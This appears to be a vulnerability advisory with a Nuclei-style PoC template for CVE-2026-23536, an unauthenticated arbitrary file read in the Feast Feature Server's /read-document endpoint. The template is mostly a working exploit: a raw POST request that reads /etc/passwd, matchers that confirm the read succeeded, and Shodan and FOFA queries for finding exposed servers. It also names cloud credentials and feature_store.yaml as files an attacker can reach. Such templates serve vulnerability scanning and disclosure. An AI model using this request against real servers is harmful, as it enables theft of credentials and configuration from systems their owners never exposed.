Feast (the open-source Feature Store) Feature Server through 0.58.0 exposes an unauthenticated POST /read-document endpoint that reads an arbitrary, caller-supplied file path with no authentication and no path validation. The read_document_endpoint handler passes the JSON `file_path` field straight to os.path.exists()/open() and returns the file contents in the JSON `content` field, so a remote, unauthenticated attacker can read any file readable by the server process (e.g. /etc/passwd, feature_store.yaml, cloud credentials). Unlike the store-mutating routes it carries no inject_user_details/permission dependency.
PoC
id: CVE-2026-23536
info:
name: Feast Feature Server <=0.58.0 - Arbitrary File Read
author: str4k3r
severity: high
description: |
Feast (the open-source Feature Store) Feature Server through 0.58.0 exposes an unauthenticated POST /read-document endpoint that reads an arbitrary, caller-supplied file path with no authentication and no path validation. The read_document_endpoint handler passes the JSON `file_path` field straight to os.path.exists()/open() and returns the file contents in the JSON `content` field, so a remote, unauthenticated attacker can read any file readable by the server process (e.g. /etc/passwd, feature_store.yaml, cloud credentials). Unlike the store-mutating routes it carries no inject_user_details/permission dependency.
reference:
- https://access.redhat.com/security/cve/CVE-2026-23536
- https://bugzilla.redhat.com/show_bug.cgi?id=2429302
- https://github.com/feast-dev/feast
- https://nvd.nist.gov/vuln/detail/CVE-2026-23536
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-23536
epss-score: 0.01912
epss-percentile: 0.78773
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
product: feast
vendor: feast-dev
shodan-query: http.favicon.hash:493797515
fofa-query: icon_hash="493797515"
tags: cve,cve2026,feast,lfi,traversal,mlops,vkev
http:
- raw:
- |
POST /read-document HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"file_path":"/etc/passwd"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"content":'
- '"file_path":'
condition: and
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a00463044022011752bf698781ef8331a12f0aa55adebd9153a044dac22e8558cdd413b51ed43022031d6741f6c82570f05a800d4eed2c189f32fdb68e90361f9bf596f6e889c93bf:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.